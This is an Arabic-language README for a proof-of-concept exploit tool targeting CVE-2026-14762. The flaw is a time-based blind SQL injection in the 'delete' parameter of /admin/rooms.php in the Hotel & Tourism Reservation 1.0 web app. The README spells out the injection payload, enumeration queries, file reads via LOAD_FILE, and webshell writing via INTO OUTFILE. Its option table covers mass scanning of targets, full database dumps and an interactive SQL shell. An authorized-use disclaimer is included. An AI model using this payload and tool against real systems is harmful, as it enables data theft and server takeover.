
استغلال حقن SQL أعمى قائم على الوقت متعدد الخيوط لثغرة CVE-2026-14762 يستهدف Hotel & Tourism Reservation 1.0. يعدّد قواعد البيانات والجداول والأعمدة؛ ويقرأ الملفات عبر LOAD_FILE؛ ويكتب قذائف ويب PHP لتحقيق RCE. يدعم البروكسي والفحص الدفعي وصدفة SQL تفاعلية.
أداة استغلال متكاملة ومتعددة الخيوط لحقن SQL الأعمى القائم على الوقت (Time‑based Blind SQL Injection) لثغرة CVE‑2026‑14762.
تستهدف نقطة النهاية /admin/rooms.php في تطبيق Code‑Projects Hotel & Tourism Reservation (الإصدار 1.0).
تحقق تعداداً كاملاً لقاعدة البيانات، وقراءة نظام الملفات عبر (LOAD_FILE)، وكتابة ملفات عشوائية عبر (INTO OUTFILE / DUMPFILE) – مما يؤدي إلى تنفيذ أوامر عن بُعد عبر نشر قشرة ويب (webshell).

requestsurllib3colorama (اختياري – لإخراج طرفية ملوّن)ثبّت جميع التبعيات باستخدام:
pip install requests urllib3 colorama
git clone https://github.com/tc4dy/CVE-2026-14762-PoC-Exploit.git
cd CVE-2026-14762-PoC-Exploit
chmod +x exploit.py or basic_exploit.py
يتم حقن المعامل delete بالشكل التالي:
150' AND IF(<condition>, SLEEP(<delay>), 0) AND '1'='1
تقيّم الدالة IF() الشرط؛ إذا كان صحيحاً، يتوقف عمل قاعدة البيانات لمدة ثانية. استخراج الأحرف بالبحث الثنائي
لكل موضع حرف، يُحدَّد الحرف الصحيح عبر بحث ثنائي في نطاق ASCII (32–126) باستخدام مقارنات > و =. يقلل هذا من عدد الطلبات من 95 طلباً لكل حرف إلى نحو 7–8 طلبات، مما يجعل الاستخراج عالي الكفاءة. تعداد البيانات الوصفية
اسم قاعدة البيانات: SELECT DATABASE()
الجداول: SELECT table_name FROM information_schema.tables WHERE table_schema='<db>' LIMIT n,1
الأعمدة: SELECT column_name FROM information_schema.columns WHERE table_schema='<db>' AND table_name='<table>' LIMIT n,1
تسريب البيانات
SELECT <col> FROM <table> LIMIT row,1 – يستخرج البيانات صفاً بصف
يتم استخراج كل خلية حرفاً بحرف باستخدام تقنية البحث الثنائي نفسها
التفاعل مع نظام الملفات
القراءة: LOAD_FILE('/path/to/file') – يتطلب أن تكون قيمة secure_file_priv فارغة أو أن تشير إلى الدليل المستهدف
الكتابة: SELECT '<content>' INTO OUTFILE '/path/to/shell.php' – يتطلب صلاحية FILE وألا تكون قيمة secure_file_priv مقيدة
هذه الأداة مقدمة لأغراض اختبار الأمان المصرّح به والبحث التعليمي وتقييم الثغرات الأمنية فقط. المؤلف غير مسؤول عن أي إساءة استخدام أو أنشطة غير قانونية أو أضرار ناجمة عن هذا البرنامج. احصل دائماً على إذن كتابي صريح من مالك النظام قبل إجراء أي اختبار.
| الفئة | الإمكانية |
|---|
| الثغرة | حقن SQL أعمى قائم على الوقت (CWE‑89) |
| ناقل الهجوم | GET /admin/rooms.php?delete=<payload> |
| الاستغلال | حقن SLEEP() شرطي مع استخراج الأحرف عبر البحث الثنائي |
| قاعدة البيانات | استخراج اسم قاعدة البيانات الحالية |
| المخطط (Schema) | تعداد الجداول والأعمدة عبر information_schema |
| تفريغ البيانات | تصدير كامل للجدول (JSON) – عدد صفوف غير محدود مع حد قابل للضبط |
| قراءة الملفات | LOAD_FILE() – قراءة أي ملف يمكن لـ MySQL قراءته (مثل /etc/passwd وملفات الإعدادات) |
| كتابة الملفات | INTO OUTFILE / DUMPFILE – كتابة قشرة ويب PHP أو باب خلفي أو أي محتوى عشوائي |
| شل تفاعلي | شل SQL مباشر (استخراج قائم على الوقت) للاستعلامات اليدوية |
| استعلام واحد | تنفيذ استعلام SQL مخصص واسترجاع النتائج (حد أقصى 512 حرفاً) |
| الوضع الدفعي | فحص متعدد الأهداف مع تجمع خيوط قابل للضبط (ThreadPoolExecutor) |
| دعم الوكيل | وكيل HTTP/HTTPS (Burp Suite وmitmproxy وغيرهما) |
| تسجيل مفصّل | مخرجات ملوّنة مع معلومات تصحيح موقّتة زمنياً |
| صفر تبعيات | فقط requests وurllib3 وcolorama (اختياري) |
| الوسيط | الاختصار | النوع | الافتراضي | الوصف |
|---|
--target | -t | URL | — | رابط هدف واحد (مثل http://192.168.1.100) |
--target-file | -l | ملف | — | ملف يحتوي على قائمة بالأهداف (هدف واحد في كل سطر) |
--threads | — | عدد صحيح | 5 | عدد الخيوط للفحص متعدد الأهداف |
--output | -o | مسار | — | ملف الإخراج (JSON للتفريغ ونص خام للملفات) |
--verbose | -v | علامة | False | تفعيل تسجيل التصحيح المفصّل |
--proxy | — | URL | — | وكيل HTTP/HTTPS (مثل http://127.0.0.1:8080) |
--user-agent | -ua | نص | Mozilla/5.0... | ترويسة User-Agent مخصصة |
--delay | — | عدد عشري | 5.0 | زمن الانتظار بالثواني للحقن الأعمى |
--max-retries | — | عدد صحيح | 3 | الحد الأقصى لمحاولات إعادة الطلب |
--ssl-verify | — | علامة | False | تفعيل التحقق من شهادة SSL |
--webroot | — | مسار | /var/www/html | الجذر الوبائي لكتابة قشرة الويب عبر INTO OUTFILE |
--dump-db | — | علامة | False | تفريغ جميع الجداول من قاعدة البيانات الحالية |
--tables | — | علامة | False | عرض أسماء جميع الجداول فقط |
--dump-table | — | جدول | — | تفريغ جدول محدد (مثل --dump-table users) |
--read | — | مسار | — | قراءة ملف عبر LOAD_FILE() |
--write-shell | — | علامة | False | كتابة قشرة ويب PHP (shell.php) إلى الجذر الوبائي |
--sql | — | استعلام | — | تنفيذ استعلام SQL واحد (يُرجع 512 حرفاً كحد أقصى) |
--interactive | -i | علامة | False | تشغيل شل SQL تفاعلي بعد الاستغلال |